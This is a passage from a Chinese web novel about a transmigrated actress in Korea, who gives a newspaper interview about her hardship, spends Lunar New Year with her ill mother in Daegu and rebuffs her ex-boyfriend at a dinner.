「从最年轻的青龙新人女演员沦落到街头咖啡店兼职，究竟是艺术已死还是韩国电影的堕落。」 看着今天娱乐小报上的副版的标题，硕大又醒目，宋玉妍轻声读了出了。不管是哪个国家的狗仔，这标题党风格倒是如出一辙。 本来想着和咖啡店老板主动做出的交易，人家要是答应的话，她还要主动去找媒体。现在只用记下该报纸下面编辑部的电话，说不定什么时候就用得上。 《九家之书》的戏份都是在古代，扮演男主九月灵的侍女，她在这个剧组基本上都是背景板，毕竟不是主要角色。 在《新世界》剧组拍戏的李正宰看着忙前忙后的经纪人，不经意间地说起：“我记得之前宋玉妍在我家还遗留了不少个人物品。那些她送的东西我都不需要了，你帮我处理了吧！” 拿着剧本的手用力握了握，昭示着他的心情并没有表面上的那么云淡风轻。 “你和她联系好之后，给她现在的地址寄过去吧！” 权相俊跟他跟了十多年了，还能不知道李正宰的真实想法？ 无非就是找一个借口主动提起宋玉妍，然后能主动联系对方。不然那些东西早不寄晚不寄，偏偏分手快四个月说要寄了？ “李正宰xi，宋玉妍在你家的东西我们都还没有打包好。”权相俊看似一脸为难。 但他看到自家艺人握剧本的手松了些后，就知道自己知道猜对了，李正宰就是口是心非。 “那她现在过得怎么样？之前不是说还在宋惠乔的那个剧组吗？”李正宰的目光完全是放在剧本上，没有看经纪人一眼，好像真的是随口一问。 “……” 权相俊不知道该怎么回答这个问题，从司机那里知道李正宰去过宋玉妍兼职的咖啡厅后，他就继续开始关注自家艺人的前女友。 去《那年冬天风在吹》的剧组做个女n号到还是能理解。毕竟两个主演都是忠武路的新生力量，她去作配还能说是友情出演。 但是《九家之书》班底就很一般，女主演甚至是个出道才两年女爱豆。 宋玉妍再怎么样都是拿过正儿八经的电影奖项的，这样“自甘堕落”，以后想再挤进忠武路基本上是不可能了。 就像是全知贤，除了刚出道的时候拍过两部剧，大火之后就只接电影的本子。这就是因为南韩娱乐圈电视剧演员和电影演员就是泾渭分明的。 “她现在在《九家之书》剧组！”权相俊犹豫了一下回答道，他怕李正宰觉得没有面子，之前《观相》的本子递过去都被直接拒绝了。 宁愿去一个名不见经传的剧组，她都不愿意接受李正宰的好意。 剧组拍摄间隙杂音特别多，摄像师、灯光师、道具师马不停蹄地调整自己的工具。三脚架、打光灯在地上拖来拖去的声音听的人心浮气躁。 一页剧本看了近半个小时都看不进去，李正宰从地上拿起矿泉水，用力拧开像是要宣泄心中情绪一样。 他往自己嘴里猛灌了一大口，狠狠地吞咽了下去，这才觉得冷静了一点，然后扔下一句：“随她，以后她的事情不用和我说。” 权相俊看着自家艺人阴郁的脸色，条件反射般地拉开一些距离，在心里抱怨：不是你先问的吗？ 本来有几个配角想和他走戏，等会动作戏的时候能少吃一点韩导的ng。但看到主演心情不好，也就很有眼色地不往上凑了。 —— 结束《九家之书》的戏份之后，宋玉妍的手头算是彻底宽裕了一点。 她看着卡里的400多万韩元，内心百感交集，原来没有原始资本赚钱真的不容易。 「宿主，明明上一个世界你赚那么多钱，心脏跳动的频率都没有现在大。」 她嗤笑一声：“不是你把我的金融技能拿走了吗？” 系统：「……」 「这也是为了宿主能够更好地体会普通人的生活，一直处于顶端，于攻略任务没有好处。」 宋玉妍笑笑，这不就是没苦硬吃？“不过就算这个技能能用也很鸡肋。” 原主一穷二白，现在这么点钱在二级市场里面连个浪都翻不起来。就算能进场也极大可能是血本无归，去给资本当韭菜割。 找了一个时间去了一趟韩国友利银行，在留下下一个月的生活所需后，把三分之二的钱打回给原主的母亲。 这具身体的经历也是十分坎坷，幼年失诂，好不容易靠母亲拉扯长大，自己争气得到导师赏识，考上东国大学的美术系。 但母亲又因为过于操劳患上了乳腺癌，最后不得不进娱乐圈赚钱。 这些年拍戏赚到的钱都给母亲做化疗去了。为了不让母亲太累，原主是不允许她出去工作的，都是两个月给打一次生活费。 幸好韩国虽然首尔都市圈的消费高得吓人，但大邱的乡下花销还是没有特别高昂。否则原主早就撑不下去了。 当务之急还是要搞钱，在和《京畿日报》敲定了采访时间之后，宋玉妍就在家里开始准备采访时的妆容和穿着。 本来是只有一家小报主动联系了她，想要做一个专访。 但是《京畿日报》得知她的遭遇之后，觉得也可以和一定的社会问题联系起来，所以就找到了她。 《京畿日报》在韩无论是影响力还是权威性都比不上《东亚日报》、《朝鲜日报》。根本得不到很多官方政策调整、官员调动的第一手消息。 再加上网络媒体的后来居上，他们受到的冲击可想而知。 编辑部最近看着连年下跌的发行数量是真的一头莫展，这次专访宋玉妍这个8线开外的演员也算是一次新的尝试。 下午两点，宋玉妍步着午后日光，推门走进了约好的咖啡厅。《京畿日报》这次派出的是一个副编辑，算是对这个专访很重视了。 金编辑本来对公司派出的活有些不满意，本来双休日出外勤就烦，何况这次的新闻价值并不算很大。 但看到宋玉妍推门而入的那一瞬间，打工人的怨气奇迹般地被抚平了。 “阿尼哈塞呦。”宋玉妍进店鞠躬问好后，把大衣脱下拿在手中。 露出米白色缎光衬衫，侧脖处丝带打了一个玫瑰样式的领花。硕大的花型不显得上半身臃肿，反而衬的她脖颈线条纤细，像是工笔画家沾墨一点点描摹出来的。 她拢拢黑色的伞裙，把大衣放在暗红色沙发的另一侧。轻轻侧过头，头发被珍珠发夹被半夹起，饱满圆润的颅骨优越。 “阿尼哈塞呦，宋玉妍xi。”金编辑看到美人之后，语气都带上笑意。 明明整个南韩都喜欢的淡颜系的长相。但是看到宋玉妍笑起来丹凤眼弯弯，自带一份娇嫩妩媚的偏浓的五官时，金善美只觉得她的笑容比阳光还要绚烂几分。 “他们家的摩卡很不错，推荐你可以试试看。”宋玉妍认真询问了对方的喜好之后，在水吧那边点好了两杯摩卡，都是温热少糖。 在等咖啡的间隙，两人并没有直接进入今日的专访主题，而是就着午后阳光开始闲聊，仿佛多年未见的好友。 等两杯摩卡端上来之后，金编辑先清了清嗓子，示意随行的pd打开摄像机。然后把小型收音设备递给宋玉妍，看着她别在领口，恰好就在那朵玫瑰花旁边。 “那我们采访就开始了哦！” “内！” “宋玉妍xi为什么会选择到咖啡厅来兼职呢？” 这个问题中规中矩，她把手中的咖啡放在一旁，温柔而又专注地注视着对面人，坦率地说道：“因为我确实很缺钱。” 金编辑被惊了一下，她也采访过不少明星，大部分人都只想努力表现光鲜亮丽的那一面。 就算是生活窘迫，但都会轻描淡写地扯一层想要体验生活的遮羞布。努力地把不好的样子给掩藏起来，倒是难得这样坦率的性格。 小啜了一口咖啡，用纸巾微微把唇边的痕迹压掉，宋玉妍继续不疾不徐地说出了原主的生平。 ‘她‘就是太过于要强，从来不提家里的状况，也只接文艺片，想要在这个物欲横流的圈子里反其道而行。 宋玉妍没有办法去评判这是对还是错，但是偶尔卖惨可能会达到意想不到的效果。更何况她只是如实陈述。 听完她的故事，金编辑忍不住落下泪，她以为自己的那一颗同理心早在日复一日的工作中抹去。 但看到她坐在窗边，背对着日光，温柔地把那些的遭遇平静地说出，金善美还是没有控制好情绪。 擦了擦眼泪，她收拾了自己妆容后对宋玉妍说了声抱歉。 8、第八章 宋玉妍微微笑了一下，像是初春明媚的桃花迎着细雨，从旧的枝芽中绽放开来。她用笑容回应着对方的共情，好像在说这不算什么，也好像在说那都过去了。 她从包里抽出一张手帕纸递了过去，似乎对她来说博取他人好感对易如反掌。 金善美看着台本上一个比一个尖锐的问题，面对这样一张脸，忽然有些不忍心问出口。 这样揭开她的伤疤、用锋利的匕首剥开她不堪的过往。只是为了博取流量，让纸面上的数据好看一点！？ 想到室长对于这次采访给予的厚望、越来越大的工作压力和日渐减少的绩效奖金。她嘴唇嚅动了几下，最后还是用温柔的声线坚定地问了出来。 “看到你在10年已经拿到了青龙的新人奖，但是为什么这两年产出的作品都泯然众人、愈发淡出大众视野了？” 那个时候的‘宋玉妍’和李正宰恋爱不到一年，‘她’有着自己的自尊和自傲。 可能为了在日后公开的时候能在媒体那里拥有自己的名字，而不是被冠上李正宰女友的前缀。 所以在挑选剧本时偏爱那些边缘化、社会化的角色，只为了能尽快地拿到一个分量更足的奖项证明自己。 宋玉妍想到这里依旧为原主不值得，演员说到底还是一个面向大众的职业。在没有票房号召力之前，盲目地去追求“艺术性”是不可取的。 整个韩国只有一部《熔炉》，去演三四线小导演的“艺术片”，就是在拿自己职业生涯开玩笑。 原主的经纪公司也是一个草台班子，老板主业考司法考试，副业才是经纪公司的掌舵人。 倒是经纪人多次提醒过‘她’，可惜当时听不进去。 “有的时候能被看见的只有金字塔顶尖的那么一小撮人，更多的是塔下那些籍籍无名之辈。”宋玉妍像是有些苦涩，看着窗外的街景，眼睛里好像是没有焦距，又好像是包含了万千情绪。 “那你是觉得忠武路没有给你足够多的机会站在台前吗？”这个问题台本上写得就很尖锐，金善美没有想到问出来会这么尖锐。 在宋玉妍沉默之时，她的呼吸也是紧绷着的，心脏仿佛情不自禁地为她打着节拍。 金善美生怕说出什么不合适的言论，今天摄制组的pd资历比她更加老，到时候想要剪掉这一段，都不太好和对方商量。 “有的时候缺的不是那么一些机会，能够拿到新人奖，足够说明忠武路给了我充足的机会。只是有的时候、有些人的成功，会欠缺那么一点点运气。不然就凭借着我的这张脸，观众都会记忆深刻。” 听到她避重就轻地把这个问题带了过去，金善美不知道为什么替她松了一口气。 当宋玉妍夸自己耶啵的时候，她忍不住笑出声来，这样优秀又有综艺感的演员为什么没有大火？ 随后的话题就转到最近的一些社会新闻上，想要听听演艺圈从业者的看法。幸好被采访的人并不是脑袋空空，宋玉妍的每一个回答都算得上是言之有物了。 “今天的最后一个问题，对于以后有些什么样的规划和目标吗？” 沉吟片刻之后，宋玉妍回答道：“以后还是会继续在演员的道路上走下去，在经济宽裕的情况下好好享受生活。至于目标……” 宋玉妍有些不好意思地笑了笑。“如果能拿到三大奖项中的一个当然是最好。” 青龙、大钟、百想那一个分量十足的最佳女演员都不好拿。 金善美被她逗笑了，“等你拿到这些奖项的话，到时候我要和同僚抢到采访你的机会，我们……” 她看了看定制的白瓷咖啡杯上的logo，“希望到时候能在这家city&coffee咖啡厅再见你一次。” 女性在男性为主导的演艺圈更加难以出头，在传统媒体行业同样也是如此。正因为是这样，她们彼此通过这样一个采访，更加能欣赏到对方身上的闪光点。 一个坚韧不拔，一个有着媒体人的初心，金善美和宋玉妍对视而笑，一切都在不言之中。 互相道别之后，摄制组的车汇入钢铁洪流中。夕阳下，咖啡厅新换上的蓝紫色玻璃质风铃摇曳，折射出来彩虹色的光芒，碎碎地透过橱窗，煞是好看。 摩卡已经冷掉了，但宋玉妍还是一口一口地喝完，这个世界困窘的经济状况教会了她不要浪费。 喝到最后，杯底是有些泡软了的榛子碎。宋玉妍喝到时还愣了一下。 看到收银台后面的崔俊秀，她走了过去。然后从纸巾盒里抽了一张，把嘴角的咖啡渍擦完之后说道：“如果在报纸上看到了你们咖啡厅的话，记得提醒老板不要忘记交易哦！崔俊秀xi！” 随后俏皮中又带着一点妩媚地wink了一下，灵动十足。 —— 《九家之书》的戏份不算太多，也就80场戏，宋玉妍一个半星期就能拍完。幸好她的角色都是集中在古代，并且是男主的背景板，这样戏份才能过得快。 等到首尔街上陆陆续续有店铺关门之后，她才意识到原来都快到农历新年。在东亚，无论那个国家都视农历新年为很重要的一个节日。 在接到来自原主母亲的电话时，她还是有些反应不过来。 电话那边轻柔的女声传来。“今年回大邱吗?” 宋玉妍早就忘记了该如何和家人相处，在犹豫了很久之后，才给电话那边的人一个肯定的答复。 原主的记忆里，去年新年是自己独立在剧组拍戏。前年陪李正宰，算下来已经有两年没有和偶妈过节了。 在挂了电话之后，她心情有些复杂，这具身体和母亲的关系很不错。但是她却有些无所适从，她的原生家庭大家都是以利益为纽带，他们互相不过问。 《九家之书》的四百万韩元的片酬打了过来后，让人松了一口气，至少不用空着手回大邱。 在农历新年的前两天，宋玉妍拎着买好的泡菜和牛肉，坐上了去大邱的大巴车。左右两个手拎得满满当当。 上车之后，在人山人海中很幸运地找到了一个位置。 她戴着鸭舌帽，帽沿被拉地低低的，看起来和女大学生没有区别。如果不是盯着她的脸仔细看，没有人会把她认成艺人。 窗外的风景不紧不慢地驶过，冬日里的田园谈不上风光，到处都是枯败一片。麦田的新种没有下去，树枝上也是光秃秃的，只有远处拐角的坡上冒出几缕炊烟。 没什么好看的景色，宋玉妍所幸就把手里的东西放下，头靠着车窗边抱胸浅眠。 大巴鸣笛的“滴、滴”声把她从睡梦中唤醒，拿起买好的东西往外走去。想着家离下车点也只有3、4公里，干脆就步行回家。 乡下本来就交通不太方便，固定的班车也不经过原本的家和客运点，在宋玉妍记忆里原主上学的时候也都是步行。 从午后到傍晚，从首尔到大邱。当她站在家门前，体会到所谓近乡情怯的感觉。 刚举起的手想要敲门，宋玉妍忽然对系统说道：「你的有些指令还是很正确的，多体会不一样的生活也很好。」 「宿主……」系统忽然有些欣慰，它这是第一次被宿主肯定。 正当她准备敲下去时，门忽然打开了，一个两侧头发在耳朵上面，面色惨白、容貌枯槁的女人把门打开了。 就算是冬天穿着羽绒服都能看到她单薄的身体，被病痛折磨地不成样子，也难掩她年轻时候的好底子。 这一样打照面，宋玉妍几乎要流下泪来。也许是原主遗留下来的情绪作祟，也许是她对方眼里的爱意温柔而又炙热，像是要把人融化。 9、第九章 低下头的宋玉妍不敢和她对视，只能把手里拎着的东西给递过去，嘴唇嗫嚅了很久，那一句偶妈还是没有说出来。 她的内心又是内疚又是不知所措，对方那样深切爱着的人，已经……不在了。怀着复杂的心绪，进门后她不着痕迹地打量着这个家。 走进之后发现装饰地很简陋，客厅除了灰色的破旧沙发、笨重的老式电视机还有一个放着相框、掉了漆的木柜，再无其他。 打量了一圈，标准传统韩屋式的结构。面积倒是适中，看起来不算逼仄，就是采光有些不好，这样对人的身体不好。 屋外金乌西沉，屋内却愈加昏暗。 “这一路都忙着坐车吧，tta（女儿）肚子饿了？”女人接过东西放到厨房去，然后折返回来，用微凉的手拉着她坐到到餐桌边上。 宋玉妍心头涨热，右手触碰虽然触碰到冰凉，但是她却奉为珍宝，僵硬地一动不敢动，指尖血流的速度都变慢了。 不大的桌上摆着满满当当的菜品。牛肉泡菜汤、厚蛋烧、炸虾、紫菜饭团，还有一小碟爽口的凉拌海带。 卖相很不错，看起来让人食指大动。 牛肉汤里有些辛辣的洋葱味加上氤氲的水汽。让宋玉妍情不自禁仰着头，想把眼眶里那些温温润的东西憋回去。 “wulitta在外面很辛苦吧。”旁边的女人把筷子递给她，温温柔柔地问道。她身上有一股很浓的药味，不刺鼻反而闻起来感觉很安心。 从没有和家人好好相处过的宋玉妍有些语塞，不知道该如何回答。 像是有些贪恋这份温暖，沉默了半响后说道：“阿尼。”宋玉妍今天想做个小偷，占据这份独一无二、不属于她的爱意。 “是偶妈拖累了你，如果不是我的病，wuli玉妍应该会有更好的选择。” 才不是！她在心里反驳道，如果没有妈妈，原主早就撑不下去了。 她把装着牛肉的汤碗放下，注视着那个温柔的女人，用更加温柔的语气说道：“如果这个世上没有偶妈的话我都不知道该如何生活了。”这是她的想法，也是原主的想法。 女人并没有再说话，只是草草解决完自己的晚饭。她身体不好只能清淡饮食，但她把最好的都留给女儿了。 在昏黄的灯光下感受着这种充满着爱意的眼神，宋玉妍既是无所适从又满是慰藉，一种不知名浓烈到淡泊的情感洗刷着她的身体。 互道晚安之后，她就顶着吃撑的胃回到自己房间，把自己摔在充满阳光和青菜味的床铺上。 “叮”的一声手机收到一条短讯。 「你最近都在大邱吗？」 宋玉妍看着屏幕上的号码有些眼熟，因为没有备注所以就没有回复。 「我看你你小号发的坐大巴图片了!」 隔了不到一分钟，另一条短讯又接踵而至。 「我明天会经过大邱，要不喝杯咖啡坐下来好好聊一聊，我不认为分手之后就一定两不相干。」 看到这句话后，发短讯人的身份也就呼之欲出。 另一边的李正宰看到宋玉妍还没有回复，以为对方再忙，把最后一条讯息连带着图片一起发送。 「东大邱站那边有一个广场，晚上还会有今年的生肖灯，很好看！到时候一起可以逛逛。」 等了半个小时之后还是没有回消息，李正宰忍不住发了一个问号。 「？」 等到手机的运营商提醒他消息并未发送成功之后，他才意识到自己被宋玉妍拉黑了。 明明之前他们聊过，今年一起去大邱过农历新年，顺便见见家长。他盯着手机上那个提醒可以重新发送的图标，有些意味不明地笑了一下。 真的可以有人对感情如此收放自如？明明之前还是既粘人又非他不可的状态。分手之后不到两个月，就退回到陌生人的距离。 两人恋爱时宋玉妍一天发上百条消息都是正常的，知道他用不惯新型的社交软件还会直接发短讯。 每天晚上除了夜戏都要打个电话过来查岗，就算李正宰不主动找话题，但只要偶尔应她两句就很心满意足。 为什么会变成这样？分手之后就真的不能成为朋友吗？明明圈子里面分手之后还能体面打招呼的情侣比比皆是！ 原本想和经纪人说取消去大邱的行程，李正宰最后想了想还是算了。就当是去看看不同城市的风景，那边好像有一个公园空气不错。 — 温和的冬日阳光坠在透明玻璃上，从窗帘的缝隙中溜进来坠在宋玉妍的眼皮下。 因为前一天睡的早，晚上的睡眠质量也不错，她也就没有起床气了。 “早上想吃什么？”像是听到她房里的动静，母亲敲门之后进来柔声问道。 “早上不吃了，昨天晚上吃的太撑，今天得轻断食一天，不然会长胖的。”宋玉妍自己都没没有发现，她的语气中不自觉地染上了撒娇的意味。 她在听到自己句尾上扬，像勾子一样的语调后，有些愣住了。随后在母亲把手伸过来时，主动把头放了下去，还忍不住蹭了蹭。 “明明这么瘦了，还要减肥！你自己一个人在首尔肯定没有照顾好自己。”姜真希有些心疼自己的女儿，明明是她和丈夫爱的结晶，但从小到大都懂事的过分了。 其他小孩平常拥有的玩具、新衣服，玉妍从来就没有，也从来不和她不抱怨。 姜真希本来就觉得在女儿的成长路上一直亏欠着她，长大之后还要让玉妍为她支付看病的医药费。想到这里她温柔的笑意染上了几分苦涩，嘴角的弧度都下落了几分。 “偶妈！”宋玉妍有些贪恋微凉手心里的那份温暖，“我可是演员啊！演员！胖的话就接不到戏了！” “内！” 知道她今天不打算吃碳水，姜真希不理解但是尊重。在和宋玉妍说了下午准备去市中心买一些生活用品后，就出去给她准备一些低糖的水果。 等她走了之后，宋玉妍把被子蒙上脸，有些痴痴地发笑。「系统，你看到了吗？我也有家人了！」 008比上一个世界进化很多，cpu里面都收集了很多关于人类的情感。这个时候它也能理解宿主了。 机械电子音里面带着一丝不易察觉的人情味，「恭喜宿主，能够给你带来不一样的体验，系统也很开心！」 大邱傍晚的夕阳煞是好看，温暖的金光像是被揉碎然后洒在高低错落的钢筋水泥建筑上，给这座工业城市披上了一层细纱。 身边偶妈身上淡淡的药味传来，这般的温暖美好，宛如做梦般的不切实际。 今年她回来过节，姜真希早就囤好了大包小包的食物，光是泡菜就买上了十余种。 按道理来说，她们那一辈人都习惯自己腌泡菜，但是因为偶妈身体不好，宋玉妍就不许她自己做。 离市中心的商场并不远，身旁的姜真希有些踟蹰，不太想进这种一看就贵得要死的商场。 但宋玉妍看着她身上有些飞絮、已经穿了八年的棉袄，有些不容置疑地把她拉进商场。 在第三家店的橱窗前就看中了一款藏蓝色的羽绒服，看起来很适合姜真希。宋玉妍毫不犹豫地进门和导购说要试这个。 她拗不过宋玉妍，只能在导购取下羽绒服后去试衣间套起来试了试。出来时还有些不适应，拽了拽衣尾想要换下来。 藏蓝色很抬肤色，姜真希被病痛折磨脸上写满疲惫、倦怠。但穿上这件衣服，她蜡黄的病容都被衬出来几分气色。 “就这件吧！” 姜真希连忙制止导购员想要包起来的动作。拍拍宋玉妍的肩膀后在她耳边轻声说道：“太贵了，五十多万韩元呢！” 这样的价格，足够在首尔租一间不错的考试院了！还好宋玉妍最近的手中还有些积蓄，不然买单的时候，信用卡刷不出来还是会有些丢脸。 “包起来吧！偶妈，我努力赚钱就是想要给你更好的生活！”脱口而出的称呼让人愣住了，宋玉妍这才发现原来这个词汇并没有那么难以开口。 走出这家店时，姜真希又是感动又是担忧，剩下的下的时间，不管宋玉妍怎么巧舌如簧都不让她再花一分钱。 商场的出口处，门口被阴影覆盖住几乎占据了所有位置，一个高挑的身影猝不及防地闯入宋玉妍的眼底。 一瞬间她以为自己看错了，毕竟大邱这么大！偶遇一个人的几率比中彩票还小。 时间似乎在两人周围停滞了下来，等到两人视线不经意地对上，她才确认之前那道炽热的目光并不是自己错觉。 站在门边手上拿着微点燃的烟把玩的男人，在看到一步一步走近的身影，猛地偏头，瞳孔微缩像是在在确认什么一样。 黑色的条纹格西装、单手漫不经心地插兜的男人不是昨天给她发送邀约信息的李正宰还能是谁？ 还他恰好挡住了门口，宋玉妍目不斜视只想装作不认识快步走出去。 “宋玉妍xi！”在两人快要擦肩而过时，李正宰先发制人，主动打了个招呼，脸上写满了惊喜。 旁边的姜真希看着女儿和这个莫名出现的男人，像是嗅到了两人之间不同寻常的关系。有些疑惑地发问道：“玉妍呐，这位是？” “同事。”宋玉妍身体不自觉地离母亲更近了，语气立满是冷淡，一点想要寒暄的意思都没有。 李正宰在听到她这种好像要把两人之间的关系划开界限的语气时，心脏像是被钝刀划伤了一下刺痛。 “难得见上一面，不如一起吃个饭吧！”说完他转头看向宋玉妍的母亲，“伯母也一起吧！” 在两人谈恋爱的时候，她就很想把家人介绍给他认识。这一次的邀约李正宰笃定宋玉妍不会拒绝，毕竟这是她之前梦寐以求的。 如果对方是在玩欲擒故纵，也应该到此为止了。 “不……”宋玉妍拒绝的话还没有说出口，就被母亲打断了。 “也好！不然这几天一直困在乡下也不行。”姜真希不愿意女儿为了陪自己，一直在乡下困着，她也好不容易才休息这几天。 “对呀，伯母说得对，我也难得来大邱，你不带我逛逛吗？”李正宰站在一旁附和道。 她年轻的时候也喜欢首尔那样繁华的都市，和朋友一起去逛逛音像店或者是新开的西餐店。 “玉妍和朋友一起去吃饭吧，我就不去了！” 姜真希看着这位最多比自己小十岁的男人，一口一个伯母地称呼自己，有些不适应。 但她一向尊重女儿的意愿，没有对出现在她周围的男人发表什么看法。 “偶妈！他不是朋友！”宋玉妍不想母亲误会自己和李正宰之间的关系，开口解释道。 “内！”她温柔地揉了揉女儿的发顶，在心里感叹一句，到底还是长大了。 “那玉妍可以多交交朋友，只要不是和你那个分手四个多月的前男友一样。对你不好的人可不行！其他的都可以试着交往一下。” 看着母亲把东西都接过去，然后转头就走的背影，宋玉妍本来还在为现在两人之间的关系被误会而尴尬。 但听到最后一句话，李正宰和她之间的动作都停顿住一瞬，尴尬的人又多了一个。 10、第十章 83塔的78层旋转餐厅下，一栋栋建筑上的大屏被一点一点点亮，像是一捧在深蓝色色绒幕布上夺目的钻石，和天空上的皎月争辉。 侍应生有素地推着一辆精致的银色餐车过来，法餐用餐时间比较长，一顿饭下来花费三四个小时都很正常。 但李正宰招来其中一个，他耳边低声说了几句。 他们就鱼贯而入，依次把餐前面包、前菜、主菜、浓汤、甜品……上上来，然后把这一方空间留给两人。 两人之间谁也没有先开口。李正宰不知道自己是怎么了！昨天冲动地给宋玉妍发了个消息、又冲动地没有变更来大邱的行程、甚至中午餐厅打电话过来确认预定信息时也没有变更信息。 看着对面的女人，她更瘦了，脸颊的婴儿肉褪去，加上丹凤眼里的冷淡，给她增添了一份疏离。 李正宰先是将黑色格纹西装外套取下，然后解开白衬衫最上方的一粒风纪扣。好似餐厅的暖气开的过足，让他的脑子烧得慌。 “听说你在《那年冬天风在吹》的剧组杀青了，后续有什么安排吗？” 到底还是他先开口，一边询问一边端起她面前的一份餐盘，把不到成年男人手掌二分之一的牛肋排细心地切成方方正正的小块。 这一次宋玉妍没有再避开他的视线，眼皮掀起，直视着他的目光。两人的视线交汇，一人冷淡的像是毫无波动，另一个人看起来倒是含情脉脉。 她放下手中的刀叉，嗤笑一声，李正宰不愧是未来忠武路的顶级演员，当他想演时，他的那双眼睛看狗都深情。 刀叉轻碰在餐盘上的声音，不刺耳，但是足以让人心中兵荒马乱。 “李正宰xi，需要我再提醒你一次，我们之间已经不是那种还需要互相报备的关系了吗？” 宋玉妍的话像是一把剪刀，把他心里最后的那层剪地七零八落。李正宰不知道为什么，自从知道她被公司解约搬进考试院之后，对她的关注就与日俱增。 明明在快要分手的时候，他对宋玉妍只有厌烦。烦她三番五次地电话查岗、烦她不合时宜地探班、更烦她对他拍戏尺度的指指点点。 但是现在，他老是有意无意地询问起经纪人，前任过的怎么样？ 偶尔经过她兼职的咖啡厅想要看看她的身影。 这次更是想在大邱见她一面，甚至不惜放下工作。 他沉默了半响，到底还是选择坦诚，“我……大概是有些不习惯你的离开。” 听到这话，宋玉妍在脑海中对着系统说道：「学着点，接下来的话你可以全文记录并且背诵。」 她拿起餐巾，交叠了一下，压了压嘴角然后开始输出。 “不！你只是不甘心而不是不习惯，因为你总觉得我应该追寻你的脚步。哪怕是分手也应该这样，你觉得我应该把你放在第一位。” 这就像是小猫小狗，很讨人喜欢，偶尔兴致来了，有人会亲昵地摸摸抱抱。但是如果真的要带它们回家，又会觉得饲养麻烦。 餐盘被轻轻放置在她的面前，牛肋排被均匀地切成八分。刚好够宋玉妍一口一块，恰当的大小让她不至于弄花口红。 两人之间谁都没开口，明明相对而坐，但氛围愈加冷凝，时间凝滞般地流逝。 李正宰叹口气，本来他还以为宋玉妍这是在欲擒故纵，毕竟她有前科。每一次先无理取闹的是她；先说分手的也是她；最后两人之间先低头的那个人也是她。 他早就习惯了在这段关系中占据绝对主动权。彻底分手也好，反正最后后悔的人绝对不会是他，他在心里想着。 “先吃饭吧！菜都快凉了！”李正宰提醒道，说完主动拿起刀叉，明明是米其林出来的厨师，他却有些食不觉味。 今年他有很多事情要做，已经拿下了两个重量级的本子，前段时间光是撕这两个剧本的男主就已经让他心力交瘁了。 李正宰他有野心，想拿到13年的青龙电影节最佳男主；想冲一冲忠武路三驾马车下第一人的位置；还想筹备自己的经纪公司，在娱乐圈自己坐在牌桌上…… 他努力地告诉自己，还有很多事情要做，大好的事业等着他去拼搏，他不该把精力放在这些无关紧要的“小事”上。 餐厅里流淌着巴赫大提琴第一号无伴奏前曲，温柔细腻的弦乐像是在讲述一个爱情故事。像是恋人之间的久别重逢又像是转角偶遇。 中段的快板越轻巧，李正宰的心脏越紧绷，他手上进食的速度越来越慢。余光一直在对面，看着她用叉子一口一口把牛肉放在嘴里。 等最后一个和音结束，才发现她以往盛满的爱意的眼睛，如今布满了漠然，如同此刻窗外的冰晶。 宋玉妍早就把主菜吃完，就算焦糖布丁周围点缀的奶油看起来绵密可口，她也没有碰一口。 等她第三次不耐地点开手机屏幕看时间时，李正宰把平时一口不碰甜食今天却吃了一半的布丁放下。 他说不清自己现在的情绪是什么，只知道嘴角的微笑挂起来很是勉强。 “我送你回家？” “不用了，我可以打车，到时候让家人误会就解释不清了！” 宋玉妍看着李正宰拿起黑色格纹西装外套穿上，冬日的气温并不亲人，薄薄的西装三件套一看就不能抵御南韩的寒风。 前后脚进了电梯，四面都装了镜子，两人相差14cm，倒映着的身影看起来莫名相配。 “真的不用送你回去吗？” 她没有开口，只是坚定地摇了摇头。 “就算是分手，我们也还是朋友。”李正宰又再次开口，“……不管怎么说，在这段感情里，我做的不好的地方更多。” 听到这句话宋玉妍生理性地眼尾一下就开始泛红，听到这句话“她”应该很开心吧！ 毕竟刚从校园走出的原身，面对成熟、稳重又英俊给予了很大帮助的前辈怎么可能不心动？ “感情没有对错，过去的事情就让它留在过去吧。” 地面层到了，梯门打开，宋玉妍准备出去打车。他只能看着她的身影随着门的靠近逐渐变窄。 在快要关闭的时候，他用手扶了一下金属质感的梯门。“希望你一切顺利，早点拿到青龙。” “谢谢，你也是，但是我更喜欢百想大赏的奖杯！” 就算是回他的话，宋玉妍也没有转身，只是伸出手摆了摆，留下一个洒脱的背影。 真的不一样了，留在电梯里面的李正宰安静看着其他人进入，感受着独属于她的味道被不断稀释。 从地面层到车库中间还有三层，玫瑰荔枝味在空气中不断挥发。电梯提示音响起时，那抹香味终于捕捉不到了。 回到家的宋玉妍看着母亲坐在客厅那个破旧的沙发上，旁边昏黄的台灯把她的剪影放大后打到白墙上。 “啪”的一声，天花板上的吊灯被打开，“偶妈！这个点你应该睡觉了！”她有些生气，怎么能不把自己的身体当回事。 “反正也睡不着，就看看电视。”姜真希温柔地回复着自己的女儿，“今天这位也是个你的追求者吗？看起来有些……成熟，他叫我伯母的时候，我是真的有些堂皇。” 天知道，如果没有生病的话，她应该看起来比李正宰大不了多少。 宋玉妍就算知道她在转移话题，也只能接着她的话题继续。 但是这样有一盏灯在等她的感觉好像很不错，让她被冷风吹得微凉的手心都温热起来。 “阿尼哦！你的女儿可是在一堆演员里也是脸赞中的脸赞。”她不自觉带上撒娇的语气，鼻头微皱，“他外表看起来就和我不算般配，只是一个同事而已。” “内，wulitta就是耶啵！”姜真希重新把注意力投注在sbs台的肥皂剧上，仿佛有万般兴趣。 宋玉妍余光投去一瞥，电视上放的不正是《那年冬天风在吹》？ 屏幕上宋惠乔的怼脸特写毫无死角，画面一转，站在男主旁边当背景板不经意同框的宋玉妍，外貌也丝毫没有被比下去。 脸上的毛细血管好像要炸开了，一股热气直冲天灵盖。家人观看自己主演的尴尬肥皂剧，这种体验宋玉妍还是第一次，她心里又是有些些尴尬又是感动的。 要知道母亲除了新闻，几乎是不看电视剧的，她只在电话里提过一次出演这部剧，就被姜真希记住。 这种被人放在心上的感觉真的很不错！ “早点休息，晚安偶妈。”说完这一句，宋玉妍就连忙回到自己的卧室，就是背影怎么看都有些落荒而逃的意味。 几乎是她刚关门，电话掐着点就响起来了。 “宋玉妍xi，你小火了！”前经纪人李智真的语气中满是兴奋，“昨天的《京畿日报》你看过了吗？” “阿尼！” “没看的话，你赶快去他们官网看电子版的，可以啊！一天就刷新了他们电子版的浏览量记录。” 上一次版《京畿日报》官网的浏览量破万还是因为大韩民国第一位女总统确认当选。 宋玉妍点开网页看到浏览量不过才两万多一点，连自己以前ins点赞尾数都赶不上。 “你趁着这段时间，多去剧组试试戏，现在一部分导演看你应该会更加眼熟。”李智真从经纪人的角度给出中肯的建议。 